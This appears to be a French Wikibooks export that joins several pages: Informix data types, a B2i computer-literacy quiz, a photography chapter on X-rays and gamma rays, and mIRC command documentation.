hérités du [[Programmation C|C]] ou du [[SQL]]. ===Types Chaînes=== Ces types permettent de stocker des chaînes de caractères. ====Char==== <pre> # ma_var contient 1 caractere define ma_var char </pre> <pre> # ma_var contient 5 caracteres define ma_var char(5) </pre> Avec ce type, le reste de la chaîne est complété avec des espaces. <pre> define ma_var char(5) let ma_var = "abc" # ma_var contient a present 'abc ' </pre> ====Varchar==== <pre> # ma_var contient au plus 1 caractere define ma_var varchar(1) </pre> <pre> # ma_var contient au plus 5 caracteres define ma_var varchar(5) </pre> Dans ce cas, pas de remplissage. <pre> define ma_var varchar(5) let ma_var = "abc" # ma_var contient a present 'abc' </pre> ==Conversion de types== ==Types composés== ==Tableaux== B2i niveau 2 : culture informatique/évaluation 5559 36210 2006-03-06T10:21:02Z 80.14.56.15 /* Matériel informatique */ {{ébauche}} L''''évaluation concernant la culture informatique du [[brevet informatique et internet]]''' porte sur les compétences 2.1 à 2.6. =Base du vocabulaire spécifique de l'informatique [[B2i|Compétence 2.1]]= ==Matériel informatique== ''Complétez ce texte à trous avec les mots'' : microprocesseur, mémoire centrale (de travail), mémoires de stockage, octet, système d’exploitation. ---- [[Image:Suoritin Intel Pentium 100MHz.jpg|right|200px]] Le cœur d'un ordinateur est en photo ci-contre, il s'agit du _________________. Il prend en charge l'exécution des instructions contenues dans les programmes informatiques. Il traite des informations stockées dans les mémoires. Ces mémoires sont deux types. L'une d'elles se vide lorsque l'on éteint l'ordinateur, c'est la ________________________. Pour conserver les informations on utilise le disque dur, la disquette ou le cédérom, ce sont des _____________________. Ces mémoires sont remplies par des 0 et des 1, appelés bits. Un groupe de huit bits s'appellent ___________. Cela représente une lettre d'un mot, par exemple le ''a'' dans ''bureau''. Pour le bon fonctionnement d'un ordinateur, le ________________________ fait la liaison entre le matériel (carte vidéo, souris, etc.) et l'utilisateur. ==Logiciel== ''Complétez ce texte à trous avec les mots'' : extension, presse-papier, icône, coller, fichier, dossier, copier, arborescence, couper. ---- Par exemple, Microsoft Windows offre une partie de mémoire appelée _________________ pour stocker des bouts de texte, des images, des sons, etc. Trois commandes sont utiles pour utiliser cette mémoire : Pour ranger dedans un texte, on utilise la commande ______________. Pour placer ce texte on utilise la commande ____________. La dernière commande ______________ supprime le texte qui reste dans cette mémoire pour être déposé ailleurs. Un paquet d'informations (textes, images, sons, etc.) s'apppelle un __________________. Ils portent un nom avec une _____________ (séparée par un point) différente si c'est un document texte, une image, un son, etc. Pour les ranger, on fait des nouveaux emplacements appelés ________________. Ce rangement forme l'_________________, c'est une structure en forme d'arbre. Une petite image appelée ____________ nous renseigne si c'est un emplacement de rangement ou un document texte, images, sons, etc. ==Traitement logiciel== ''Complétez ce texte à trous avec les mots'' : numérisation de l'information, logiciel de reconnaissance de caractères, logiciel de traitement d'images ou de sons, fichier de données, traitement de texte, application, tableur. ---- Un programme informatique s'appelle logiciel ou ________________________. L'écriture de texte nécessite un _________________________ comme par exemple MS Word ou OpenOffice Writer. Pour les calculs sur des nombres dans un tableau, on utilise un __________________ comme par exemple MS Excel ou OpenOffice Calc. À l'aide d'un appareil appelé scanneur on peut transformer une feuille papier avec une phrase imprimé dessus en un document texte informatique grâce à un _____________________________. Cette transformation est appelée _____________________________. Le scanneur permet de transformer une photographie, un microphone permet de transformer une musique en format numérique qui sont stockés dans un __________________ pouvant se nommer soit ''photo_perso.jpg'' pour la photo, soit ''son_ambiance.mp3'' pour la musique. La retouche de photo (taille, couleurs, etc.) ou l'amélioration d'un son (amplification, bruits, etc) se fait avec un __________________________ que l'utilisateur a installé sur l'ordinateur. ==Internet== ''Complétez ce texte à trous avec les mots'' : lien hypertexte, réseaux, toile (Web), logiciel de messagerie, navigateur, moteurs de recherche, serveur, fournisseur d'accès. ---- Internet (''international network'') est un assemblage de _____________________ d’ordinateurs nationaux et internationaux reliés par des liaisons téléphoniques, câblées, etc. Une société appellée ________________________ offre une connexion à Internet contre un abonnement payant mensuel. Le service le plus utilisé sur Internet est d'aller sur des sites pour consulter de pages, l'ensemble des sites se nommme ___________________. Les pages sont reliées entre elles par _________________ (cliquable). Cliquer sur un lien est possible à l'aide d'un logiciel pour ''surfer'' nommé __________________. L'ordinateur qui héberge un ou plusieurs sites s'appelle _________________. Certains sites appelés ________________________ stockent un grand nombre de liaisons vers d'autres sites, on retrouve ces sites grâce à des mots-clés. Un autre service très utilisé sur Internet, est l'échange de courrier électronique à l'aide d'un __________________. =Cheminement de l'information et ses transformations [[B2i|Compétence 2.2]]= ''Associez les phrases avec les mots'' : saisie, traitement, sortie, mémorisation, transmission. ---- *J'imprime un document : _________ *Je retouche la luminosité d'une photo numérique : _________ *J'observe un graphique à l'écran : _________ *Je sauvegarde mon document sur la disquette : _________ *Je transfère mes photos numériques sur mon ordinateur : _________ *J'ajoute un générique à la vidéo : _________ *Je prends une photo numérique : _________ *Je transfère mes musiques depuis mon ordinateur vers mon baladeur mp3 : _________ *Je tape un texte : _________ *J'enregistre mon diaporama sur le disque dur : _________ =Ordres de grandeur usuels des caractéristiques des ordinateurs et périphériques [[B2i|Compétence 2.3]]= ==Ordinateurs== ''Rayez les déclarations fausses, il n'y a qu'une seule réponse juste.'' ---- *Quelle est la mention qui indique la '''vitesse''' d'un ordinateur aujourd'hui ? #3 giga hertz #80 méga watts #1024 méga bits #512 méga octets *Quelle est la mention qui indique la '''taille mémoire d'un disque dur''' aujourd'hui ? #80 méga watts #1024 méga bits #150 giga octets #20 giga hertz *Quelle est la mention qui indique la '''taille de la mémoire de travail''' aujourd'hui ? #512 bits #80 méga watts #1 giga octet #80 giga hertz ==Périphériques== ''Rayez les déclarations fausses, il n'y a qu'une seule réponse juste.'' ---- *Quelle est le nom d'une technologie de connexion de périphériques sans fil ? #USB #Firewire #Wi-Fi #Liaison série *Quelle imprimante choisir pour des impressions de photographies de vacances ? #Jet d'encre couleur 9600 x 2400 dpi, 5 pages par minute #Laser monochrome 1200 x 1200 dpi, 20 pages par minute #Jet d'encre couleur 600 x 600 dpi, 10 pages par minute *Quelle est la technologie de connexion avec le plus grand débit ? #USB #Liaison série #Firewire #Wi-Fi #Bluetooth =Informations numérisées et interprétation [[B2i|Compétence 2.4]]= =Traitements réalisés par une machine [[B2i|Compétence 2.5]]= =Lois relatives aux utilisations d'informations nominatives [[B2i|Compétence 2.6]]= ''Rayez les déclarations fausses, il n'y a qu'une seule réponse juste.'' ---- *Vous recherchez des informations sur votre chanteuse préférée. En utilisant un moteur de recherche, vous trouvez un site consacré à la chanteuse, mais pour accéder on demande de vous inscrire avec votre adresse email. Est-ce que c'est normal de recevoir après des emails concernant les concerts de cette chanteuse ? #Non, vous n'avez pas été prévenu de ces envois d'emails. #Oui, vous auriez dû vous en douter, il y a toujours un piège. #Non, mais ce n'est pas important. *Vous avez créé un blog ou un site Web personnel, avez-vous le droit de diffuser des noms ou des photos de personnes ? #Oui, sans problèmes, il n'y a aucune loi qui l'empêche. #Oui, mais seulement avec l'accord de ces personnes et qu'elles puissent à tout moment modifier ou supprimer les choses qui les concerne. #Non, c'est interdit. *Pour vous inscrire à un chat ou un salon de bavardage, on vous demande de remplir un formulaire avec vos coordonnées (nom, prénom, adresse, ville, courriel, etc). Est-ce qu'on peut donner vos coordonnées à une société pour vous faire parvenir des publicités ou des coupons de remises par la poste ? #Bien sûr, ça ne vous dérange pas, ce n'est que de la publicité. #Non, vous êtes introuvables et anonyme sur Internet. #Jamais, vous n'avez pas demandé à connaître les produits de cette société. *Vous êtes inscrit sur un forum avec un pseudo. Est-ce que vous pouvez écrire des critiques à une personne concernant sa race, son sexe, son comportement sexuel ou sa religion ? #Bien sûr, rien n'empêche de s'exprimer et ça ne peut faire de mal à personne. #Non, c'est puni par la loi mais vous ne risquez rien car vous utilisez un pseudo. #Non, c'est puni par la loi et vous pouvez être retrouvé grâce à des traces numériques. B2i 5562 23060 2005-10-14T12:57:20Z Greudin 1 #REDIRECT[[Brevet informatique et internet]] #REDIRECT[[Brevet informatique et internet]] Faire son marché 5565 23123 2005-10-14T17:14:54Z JVG 676 Dictionnaire français chinois, produits du marché La vie quotidienne, cela s'organise ... Et savoir demander ce que l'on souhaite sur les marchés chinois, même les mieux achalandés - ou préciser à qui vous passez commande l'intégralité de vos désidérata peut ne pas être facile. Un dictionnaire en ligne des [http://www.jvgruat.com/Chine/vivres.htm produits vivriers] pourra vous y aider ... Image:Markov.jpg 5566 23158 2005-10-15T07:04:00Z Garzol 521 A.A. Markov A.A. Markov Image:Chernoff.png 5568 23165 2005-10-15T08:39:10Z Garzol 521 Chernoff Chernoff LSF/Planning/Nancy2Lettre 5571 23181 2005-10-15T09:48:46Z Kowey 113 [[LSF/Planning/Nancy2Lettre]] déplacé vers [[Utilisateur:Kowey/LSF/Planning/Nancy2Lettre]]: Ne pas déranger les page stats #REDIRECT [[Utilisateur:Kowey/LSF/Planning/Nancy2Lettre]] Image:Kolmogorov conference picture.jpg 5573 23188 2005-10-15T11:43:37Z Garzol 521 Kolmogorov Kolmogorov Photographie - 04 - Rayons X et rayons γ 5575 44342 2006-06-11T21:32:23Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_04}} == Rayons X == Lorsque l'on bombarde dans le vide une cible par un faisceau d'électrons à haute énergie, on obtient un rayonnement électromagnétique de fréquence élevée, dit [[w:fr:rayon X|rayonnement X]], dont la composition dépend du métal bombardé. Ce rayonnement comporte un '''fond continu''' sur lequel viennent se superposer des '''raies''' spectrales caractéristiques. La cathode K du [[w:fr:Tube à rayons X|tube à rayons X]] est un filament chauffé qui émet des électrons sous l'effet de la chaleur. Une tension accélératrice élevée (de 20 à 100 kV) est appliquée entre ce filament et la cible A, qui constitue l'anode mais que l'on appelle souvent anticathode. Il en résulte un courant d'électrons lancés à grande vitesse de K vers A. Lors du freinage de ces électrons par les atomes de la cible, le rayonnement X est émis avec un rendement toujours très faible, généralement moins de 1 %. L'énergie du faisceau est donc presque intégralement transformée en chaleur, ce qui nécessite un refroidissement efficace. Les premiers systèmes de production de rayons X étaient les tubes de Crookes, améliorés par la suite pour donner les tubes de Coolidge. <center> {| |- |[[Image:Roentgen-Roehre.png|thumb|334px|right|principe du tube à rayons X]] |..... |[[Image:Röntgenröhre.jpg|thumb|300px|center|tube de Crookes]] |- |} </center> Il est important de considérer que l'absorption et l'émission des rayons X sont deux phénomènes qui font intervenir non pas les électrons des couches périphériques des atomes, mais ceux des couches internes. Ces derniers n'interviennent pas dans les réactions chmiques, les quanta libérés sont fonction des seuls éléments chimiques, qu'ils soient ou non combinés pour former des molécules. Le rayonnement X est particulièrement intense lorsque l'on a affaire à des atomes lourds. Quand un photo X frappe un atome, l'excitation produite peut provoquer l'émission d'un électron (c'est pour cela que l'on parle de rayonnements ionisants) en même temps que se produit l'émission d'un autre photon X de longueur d'onde toujours supérieure à celle du premier. La différence d'énergie de ces deux photos correspond à l'énergie d'arrachement de l'électron. Il s'agit là de l'[[w:fr:Effet Compton|effet Compton]], dont il faut se méfier car il donne naussance à un rayonnement secondaire dont les effets sont le plus souvent nuisibles. D'une manière générale l'absorption des rayons X croît avec le numéro atomique des éléments rencontrés et avec la longueur d'onde des rayons eux-mêmes. Par exemple, des rayons de longueur d'onde 0,002 nm peuvent rraverser 10 cm de plomb mais une fine couche de ce métal arrête complètement le rayonnement de 0,1 nm. Les métaux légers sont facilement traversés, une plaque de béryllium de 0,5 mm d'épaisseur laisse passer 56 % des rayons de 0,25 nm tandis que 0,025 mm d'aluminium n'en transmettent que 27 %. Les muqueuses et les muscles, qui ne contiennent guère que des éléments légers (hydrogène Z = 1, carbone Z = 6, azote Z = 7, oxygène Z = 8), sont plus transparents que les os et les dents qui contiennent des éléments plus lourds (phosphore Z = 15 et calcium Z = 20), d'où les applications bien connues en radiologie médicale. L'ingestion d'un composé inerte de bismuth (Z = 83) ou d'iode (Z = 53) facilite respectivement l'examen radiologique des voies digestives et de la vésicule biliaire. <center> {| |- |[[Image:Roentgen-x-ray-von-kollikers-hand.jpg|thumb|175px|radiographie d'une main]] |[[Image:Padiographie du corsetLigne(dos).jpg|thumb|202px|femme portant un corset]] |[[Image:Polydactyly 01 Lhand AP.jpg|thumb|218px|main à 6 doigts (garçon de 10 ans)]] |- |} </center> == Rayons &gamma; == L'émission de rayons &gamma; est un phénomène purement nucléaire qui accompagne la désintégration de certains atomes radioactifs comme le radium, qui s décompose pour donner du radon et de l'hélium en émettant un photon de haute énergie : <center><math>{}^{226}_{88}\!Ra \to {}^{222}_{86}\!Rn + {}^{4}_{2}\!He + photon \,\gamma</math></center> Le radon, à son tour, se désintègre selon le même processus. La '''radiographie''' par des rayons X très « durs » (de haute énergie) et la '''gammagraphie''' sont des techniques employées en métallurgie pour déceler, lors de contrôles non destructifs, d'éventuels défauts internes dans des pièces massives. Le radium est souvent avantageusement remplacé par des isotopes radioactifs tels que le cobalt 60 ou le cheomr 51. La radiographie et la gammagraphie métallurgiques demandes des précautions de sécurité draconiennes en raison de la nocivité considérable des radiations utilisées. == Applications == Elles relèvent des techniques scientifiques et sont étudiées dans le chapitre qui leur est consacré : '''[[Photographie - Chapitre 23 - Techniques scientifiques|Photographie - Techniques scientifiques]]''' Programmation mIRC Lire des fichiers 5577 23199 2005-10-15T13:14:52Z MagnetiK 657 Création Le dialogue play central liste toutes les requêtes de lecture en attente, et vous permet de maintenir la file d'attente. Les fichiers sont lus dans l'ordre où vous les avez mis en attente. Le dialogue play central pet être affiché par la commande /playctrl. La commande /play Une requête de lecture peut être ajoutée à la file d'attente en utilisant soit le dialogue play soit la commande /play. Le dialogue play peut être affiché en utilisant la commande /play sans paramètre. Il supporte la plupart des caractéristiques de la commande /play elle-même, décrite ci-dessous. /play [-aescpbn q# m# f# rl# t#] [alias] [salon/pseudo/stop] <nom de fichier> [délai] Dans sa forme la plus simple, vous pouvez lire un fichier texte dans la fenêtre en cours : /play c:\text\poem.txt Ceci lit le fichier poem.txt dans la fenêtre en cours, laquelle doit être une fenêtre salon ou privée, avec un délai par défaut de 1000 millisecondes, donc 1 seconde. Les lignes vides sont traitées comme un délai. Si vous avez la protection flood activée, /play envoie toutes les lignes au travers de la protection flood pour vous empêcher de vous flooder du serveur. Le paramètre -a fait que /play utilise un alias spécifié au lieu d'un /msg ou /notice. Le paramètre -e vous permet de faire un écho du texte comme s'il était envoyé au serveur. Le paramètre -s vous permet de lire les commandes de la fenêtre statut alors que vous êtes hors ligne. Si vous ne spécifiez pas le paramètre –s, alors vous devez être connectés au serveur et utilisez la commande /play. Le paramètre -c force mIRC à interpréter les lignes comme des commandes plutôt que du texte classique. Le paramètre -n fait que la commande play utilise /notice au lieu de /msg. Le paramètre -p indique que c'est une requête de lecture en priorité et devrait être placée en tête de la liste d'attente pour une lecture immédiate. La requête de lecture en cours sera arrêtée et reprise une fois que la requête de lecture est finie. Le paramètre -q# spécifie le nombre maximum de requêtes qui peut être en liste d'attente. Si la longueur de la liste d'attente est déjà supérieure ou égale au nombre spécifié alors la requête de lecture est ignorée. /play -q5 c:\text\info.txt 1000 Le paramètre -m# limite le nombre de requêtes qui peut être mis en liste d'attente par un utilisateur/salon spécifique. Si l'utilisateur/le salon a ou excède déjà le nombre spécifié de requêtes en attente, alors la requête de lecture est ignorée. /play -m1 info.txt 1000 La ligne limite chaque utilisateur à un maximum de une requête à la fois et ignore toutes les autres requêtes. Note : Les paramètres -q# et -m# s'appliquent seulement à un /play initié via une définition d'une remote, pas par vous. Le paramètre -b lit le texte dans le bloc-note d'une fenêtre. Le texte est temporairement sauvé dans un fichier playqN.txt, lequel est effacé dès que la lecture est complète. Pour combiner les paramètres ci-dessus, vous devriez utiliser : /play -cpq5m1 info.txt 1000 Le paramètre -r force une seule ligne d'être choisie aléatoirement dans un fichier et lue. /play -r action.txt 1500 Le paramètre -l# force le numéro de ligne d'être lu dans un fichier et exécuté. /play -l25 witty.txt 1500 Le paramètre -f# lit le fichier entier en commençant par la ligne spécifiée. /play -f9 moo.txt Pour les paramètres –rlf, la première ligne dans le fichier peut être un simple numéro spécifiant le nombre de lignes dans le fichier, cela accélère le traitement de lecture du fichier. Le paramètre -t force mIRC à chercher le sujet dans le fichier et lit toutes les lignes sous ce sujet. Par exemple : /play -thelp1 help.txt Dans le fichier help.txt, vous aurez : [help1] ligne1 ligne2 ligne3 [help2] ... mIRC lira tout après [help1] et s'arrête quand il atteint le prochain entête de sujet ou la fin du fichier. Vous pouvez utiliser l'identifieur $pnick dans les commandes qui identifient le pseudo/salon auquel vous faites la lecture. Pour arrêter la lecture du fichier et effacer la liste d'attente, vous pouvez utiliser /play stop. L'identifieur $play L'identifieur $play(N) ou $play(pseudo,N) retourne l'information sur les items dans la liste d'attente. Propriétés : type, fname, topic, pos, lines, delay, status Si vous spécifiez un pseudo, vous pouvez trouver combien de requêtes de lecture un utilisateur a en attente. Programmation mIRC Commandes mIRC 2 5578 24999 2005-11-05T13:32:19Z MagnetiK 657 {{Programmation mIRC}} ==/partall== {{Parammirc|[message]}} Part de tous les salons où vous êtes. Sur certains serveurs IRC, vous pouvez également spécifier un message. ==/pdcc== {{Parammirc|[on / off]}} Si activé, essaie d'accélérer les dcc sends en envoyant des paquets au-delà des acks (information indiquant que l'envoi est correct faite par le réceptionnaire). ==/perform== {{Parammirc|[on/off]}} Active ou désactive le perform de la section Perform. ==/play== {{Parammirc|[-aescpbn q# m# f# rl# t#] [alias] [salon/pseudo/stop] <nom de fichier> [délai]}} Cela [[Programmation_mIRC_Lire_des_fichiers|lit un fichier]] texte sur un utilisateur ou un salon. ==/pop== {{Parammirc|<délai> [#salon] <pseudonyme>}} Accomplit un op retardé sur le pseudonyme. Le but de cette commande est d'empêcher une fenêtre salon de se remplir de changements de mode opérateur à chaque fois que plusieurs utilisateurs ont le même pseudonyme dans leur section auto-op. mIRC fera une pause de <délai> secondes avant d'accomplir le op. Si <délai> est zéro, il fait un op immédiat. Avant d'accomplir le op, il vérifie si l'utilisateur est déjà oppé. Si vous ne spécifiez pas le #salon, le salon en cours est supposé. ==/pvoice== {{Parammirc|<délai> [#salon] <pseudonyme>}} Travaille de la même façon que la commande /pop excepté que ça voice un utilisateur. ==/qmsg== {{Parammirc|<message>}} Celui-ci et la commande /qme envoient le message spécifié ou une action spécifiée à toutes les fenêtres privées. ==/query== {{Parammirc|[-n] <pseudo> [message]}} Ouvre une fenêtre privée au pseudonyme spécifié. Si un message est fourni, il est envoyé. {{Lsparammirc|-n| ouvre la fenêtre dans un état minimisé.}} ==/queryrn== {{Parammirc|<pseudo> <nouveaupseudo> }} Change le pseudonyme d'une fenêtre privée ouverte. ==/raw== {{Parammirc|[-q] <commande>}} Envoie des paramètres que vous fournissez directement au serveur. Vous devez savoir que le format correct RAW de la commande que vous envoyez. Utile pour l'envoi des commandes lequel mIRC n'a pas implémenté encore. Le paramètre -q fait que le raw fonctionne silencieusement sans imprimer ce qu'il envoie. Cette commande fait la même chose que /quote dans d'autres clients IRC. {{Code mIRC|/raw PRIVMSG pseudonyme :Hellooo there!}} ==/remini== {{Parammirc|<fichierini> <section> [item]}} Efface les sections entières ou items dans un fichier INI. {{Code mIRC|/remini my.ini DDE ServerStatus}}Cela efface l'item ServerStatus {{Code mIRC|/remini my.ini DDE}}Efface la section DDE. Voir la commande [[Programmation_mIRC_Commandes_mIRC_2#.2Fwriteini|/writeini]] ci-dessous pour un exemple relaté. {{Avertissement mIRC|ne pas utiliser cette commande pour modifier tout fichier INI en cours d'utilisation par mIRC.}} ==/remove== {{Parammirc|[-b] <nom de fichier>}} Efface le fichier spécifié. {{Lsparammirc|-b|efface le fichier et le déplace dans la poubelle.}} ==/rename== {{Parammirc|<nom de fichier> <nouveau nom de fichier>}} Efface un fichier. Peut également être utilisé pour déplacer un fichier d'un dossier à un autre. ==/resetidle== {{Parammirc|[secondes]}} Cela remet l'identifieur $idle à zéro ou au nombre de secondes [secondes] que vous spécifiez. ==/rmdir== {{Parammirc|<nom de dossier>}} Efface le dossier spécifié. {{Note mIRC|Si le dossier contient des fichiers, il ne peut pas être effacé.}} ==/run== {{Parammirc|[-np] <nom de fichier> [paramètres]}} Exécute le programme spécifié avec les paramètres. {{Lsparammirc|-n|minimise la fenêtre de l'application exécutée.}} {{Lsparammirc|-p|met le chemin de travail au chemin de l'application exécutée.}} Vous pouvez enfermer le nom de fichier ou les paramètres dans guillemets que vous avez besoin. Si vous spécifiez un fichier non-exécutable, mIRC essaie de l'ouvrir à l'application associée à ce fichier. ==/save== {{Parammirc| <-pscqnm|-ruv> <nom de fichier> }} Sauvegarde le fichier popup remote users ou variables spécifié. {{Code mIRC|/save -ps status.ini}}sauvegarde le popup dans status.ini {{Code mIRC|/save -pn nick.ini}}sauvegarde la liste des pseudonymes dans nick.ini {{Code mIRC|/save -ru users.ini}}sauvegarde la liste des utilisateurs dans users.ini {{Code mIRC|/save -rv vars.ini}}sauvegarde la liste des variables dans vars.ini {{Note mIRC|Vous pouvez seulement sauvegarder une section à la fois.}} ==/savebuf== {{Parammirc|[-sgao] [lignes] <fenêtre / dialogue ID> <nom de fichier> }} Sauvegarde le nombre de lignes spécifiées depuis la fin du tampon de la fenêtre spécifiée dans le nom de fichier spécifié. {{Code mIRC|/savebuf 20 @test info.txt}} Cela sauvegarde les 20 dernières lignes de la fenêtre personnalisée @test dans info.txt. {{Code mIRC|/savebuf 10-40 @test info.txt}} Cela sauvegarde les lignes 10 à 40 de la fenêtre personnalisée @test dans info.txt. {{Lsparammirc|-s|sauvegarde le tampon de la fenêtre statut.}} {{Lsparammirc|-g|sauvegarde le tampon de la fenêtre finger.}} {{Lsparammirc|-a|fait ajouter le texte à la fin du fichier au lieu de l'écraser.}} {{Lsparammirc|-o|indique que vous avez spécifié les paramètres [ID dialogue] au lieu du nom de la fenêtre de façon à sauvegarder le texte d'un contrôle de dialogue personnalisé. }} ==/saveini == Met à jour tous les fichiers INI relatés à mIRC avec les réglages en cours. ==/say== {{Parammirc|<message>}} Cela vous laisse définir un alias qui écrit directement dans un salon comme si vous étiez en train de dire quelque chose. Donc "/say Hello there" serait la même chose que taper "Hello there". Il est utile dans un alias quand vous voulez poser la même question (ou envoyer la même information) encore et encore. {{Code mIRC|/info /say SVP notez que les serveurs de jeu sont actuellement fermés et resteront déconnecté pendant quelques heures...}} {{Note mIRC|Vous ne pouvez pas utiliser cette commande dans la section remote. Utiliser /msg #salon <message> plutôt.}} ==/server== {{Parammirc|[-mnsarpfoc] <server/nomdegroupe> [port] [motdepasse]}} {{Parammirc|[-i pseudo alternatif courriel nom] [-jn #salon pass]}} Vous connecte au serveur, vous déconnectant en premier du serveur en cours, s'il y en a un. {{Code mIRC|/server irc.undernet.org 6667 monmotdepasse}} Si vous tapez /server sans paramètre, mIRC se connectera au dernier serveur connecté. Si vous utilisez la commande server alors que vous êtes encore connecté, vous serez déconnectés avec votre message quit habituel et ensuite reconnecté au serveur spécifié. Vous pouvez également utiliser /server N qui se connecte au Nième serveur dans la liste serveur dans le dialogue connect. Vous pouvez également utiliser /server nomdegroupe lequel fera un cycle au travers des serveurs dans la liste des serveurs qui ont un nom de groupe jusqu'à ce qu'il se connecte à l'un d'eux. Le paramètre -m crée une nouvelle fenêtre serveur pour cette connexion et se connecte au serveur. Le paramètre -n fait la même chose mais ne se connecte pas au serveur. Le paramètre -pfoc empêche le perform (p), dossier contextuel des favoris (f), autojoin des salons (o), et l'événement on connect (c) quand vous vous connectez au serveur. Le paramètre -j vous permet de joindre un salon une fois le serveur connecté. Le paramètre n minimise le salon joint. Si vous spécifiez l'un des paramètres -sar, le format de la commande devient : /server -sar [serveur] [-p port] [-g groupe] [-w motdepasse] [-d description] -s trie la liste des serveurs -a ajoute un serveur. S'il existe, il est mis à jour -r enlève un serveur mIRC essaie de trouver une correspondance entre l'adresse du serveur et la description dans la liste des serveurs existants. Vous pouvez également n'en spécifier aucun pour -g -w et -d pour effacer le réglage en cours. ==/showmirc== {{Parammirc|–mnrstxop}} Manipule l'affichage de la fenêtre principale mIRC, où : * -n = minimiser, * -r = restaure, * -s = montrer, * -t = tray, * -x = maximiser, * -o = au-dessus, * -p = pas au-dessus, * -m = minimiser selon les réglages tray. ==/sline== {{Parammirc|[-a/r] <#salon> <N/pseudo>}} Sélectionne ou désélectionne les lignes dans une liste de pseudonymes de salon. Il peut sélectionner soit le Nième pseudonyme dans une liste ou un pseudonyme spécifié. Si vous ne spécifiez aucun paramètre, toute sélection existante dans la liste est effacé. Si vous spécifiez le paramètre -a alors le spécifié est sélectionné sans affecter les états de sélection des autres lignes. Si vous spécifiez le paramètre -r alors l'item spécifié est désélectionné. {{Parammirc|/speak <texte>}} Envoit le texte spécifié au Monologue (ou Assistant de Texte) qui est un programme qui dit ce qui lui est envoyé. {{Note mIRC|Cette caractéristique fonctionne uniquement avec les vieilles versions du logiciel ci-dessus. Les nouvelles versions ne supportent pas la méthode que mIRC utilise.}} ==/splay== {{Parammirc|[-cwmpq] <nom de fichier>}} Joue le son spécifié, voir la section Jouer des sons. ==/sreq== {{Parammirc|[+m/-m] [ask / auto / ignore]}} C'est la ligne de commande équivalente au réglage des boutons radios DCC Send Request dans le dialogue des Options (voir /creq ci-dessus). Le paramètre +m|-m active ou désactive le réglage minimiser. ==/strip== {{Parammirc|[+-burc]}} Active ou désactive l'option enlèvement des codes dans le dialogue Options. {{Code mIRC|/strip +bur-c}} Active ou désactive l'enlèvement du gras, souligné, de l'inversé ou de la couleur. ==/timer[N/nom]== {{Parammirc|[-ceomhipr] [temps] <répétitions> <intervalle> <commande>}} Active le timer spécifié pour accomplir une commande à l'intervalle et optionnellement au temps spécifié. Si vous n'êtes pas connecté au serveur et vous commencez un timer, il active par défaut un timer offline ce qui signifie qu'il continuera à fonctionner que vous soyez connecté au serveur ou pas. Si vous êtes connecté au serveur et vous commencez un timer, il active par défaut un timer online, ce qui signifie que si vous vous déconnectez à un serveur, il sera désactivé. Vous pouvez spécifier le paramètre -o pour le forcer en timer offline. {{Code mIRC|/timer1 0 20 /ame is AWAY!}} Timer1 répétera sur le salon sur tous les salons chaque 20 secondes jusqu'à ce que vous stoppez le timer. Si vous spécifiez un délai de 0 seconde, le timer se déclenchera immédiatement après que l'appel appelant se finit. {{Code mIRC|/timer5 10 60 /msg #games Pour plus d'infos sur les derniers jeux faire /msg GaMeBoT info}} Timer5 répétera ce message dans le salon #games chaque 60 secondes et s'arrête après 10 fois. {{Code mIRC|/timer9 14:30 1 1 /say Il est maintenant 2:30pm}} Il attendra jusque 2:30pm et annoncera alors l'heure une fois et s'arrêtera. Pour voir une liste de timers actifs, taper /timers. Pour voir le réglage pour timer1, taper /timer1. Pour désactiver timer1, taper {{Code mIRC|/timer1 off}} Pour désactiver tous les timers, taper /timers off. Si vous activez un nouveau timer vous n'avez pas besoin de spécifier le numéro du timer, juste utiliser : {{Code mIRC|/timer 10 20 /ame Je ne suis pas là !}} Et mIRC allouera le premier timer libre qu'il trouve à cette commande. Si vous spécifiez le paramètre -c, cela fait que mIRC "attrape" un timer en l'exécutant plus d'une fois pendant une intervalle si l'intervalle temps réel ne corresponds pas à votre intervalle de requête. Si vous spécifiez le paramètre -m ou -h, cela indique que le délai de l'intervalle est en millisecondes. {{Note mIRC|Le paramètre -h crée un timer multimédia haute résolution. Ce type de timer doit seulement être utilisé dans des situations de timer critique car il utilise lourdement les ressources système.}} Si vous spécifiez le paramètre -e, cela exécute la commande associée au nom du timer spécifié. Fonctionne également si vous spécifiez un nom joker. L'identifieur $ltimer retourne le nombre de timers qui ont été commencé par la commande /timer. Au lieu d'utiliser un nombre, vous pouvez également spécifier un nom au timer. {{Code mIRC|/timershow 0 10 echo -a $nick $server $time}} Vous pouvez forcer les identifieurs à être réévalués quand ils sont utilisés dans une commande /timer en utilisant le format $!me ou $!time. Si vous souhaitez désactiver plusieurs timers, vous pouvez utiliser un joker pour le nombre, par exemple : {{Code mIRC|/timer3? off}} Désactivera tous les timers de 30 à 39. {{Lsparammirc|-pr|font une pause et résument un timer respectivement.}} Le paramètre -i fait qu'un timer associe dynamiquement un timer à ce qui arrive être la connexion active. Si une fenêtre serveur est fermée, le timer est associé à la prochaine fenêtre serveur disponible. ==/timestamp== {{Parammirc|[-fs/a/e] [on/off/default] [nom de la fenêtre]}} Active ou désactive ll'horoatage des évènements. Si vous spécifiez default, il est utilisé les réglages de l'horodatage global. * -s = pour la fenêtre statut * -a = pour la fenêtre active * -e = pour chaque fenêtre Si un nom de fenêtre n'est pas spécifié, alors le commutateur horodatage global est activé ou désactivé. {{Lsparammirc|-f|vous permet de régler le format de l'horodatage global, par exemple /timestamp -f [HH:nn]}} ==/titlebar== {{Parammirc|[@fenêtre] <texte>}} Règle la barre de titre de l'application principale. Si vous spécifiez un nom d'une @fenêtre personnalisée, alors la barre de titre de cette fenêtre est changée. ==/tnick== {{Parammirc|<pseudonyme>}} Change votre pseudonyme en un pseudonyme temporaire, sans affecter vos pseudonymes alternatif ou principal. ==/tokenize== {{Parammirc|<c> <texte>}} Remplit les identifieurs $1 $2 ... $N par les tokens dans <texte> séparés d'un caractère ASCII <c>, par exemple : {{Code mIRC|/tokenize 44 a,b c,d,e}} La commande ci-dessus devrait mettre $1 = a, $2 = b c, $3 = d, $4 = e, 44 étant le caractère ASCII de la virgule ==/unload== {{Parammirc|<-a/-nrs> <nom de fichier>}} Décharge le fichier alias ou script remote spécifié. {{Code mIRC|/unload -a aliases.ini}}décharge le fichier alias.ini {{Code mIRC|/unload -rs script.ini}}décharge le fichier script.ini {{Lsparammirc|-n|empêche un script d'avoir son évènement on unload déclenché.}} {{Note mIRC|Vous pouvez seulement décharger un script à la fois.}} ==/updatenl== Généralement la liste des pseudonymes du salon et l'IAL dans un évènement kick/part/quit script sont mis à jour après la fin du script. Cette commande les met à jour immédiatement. 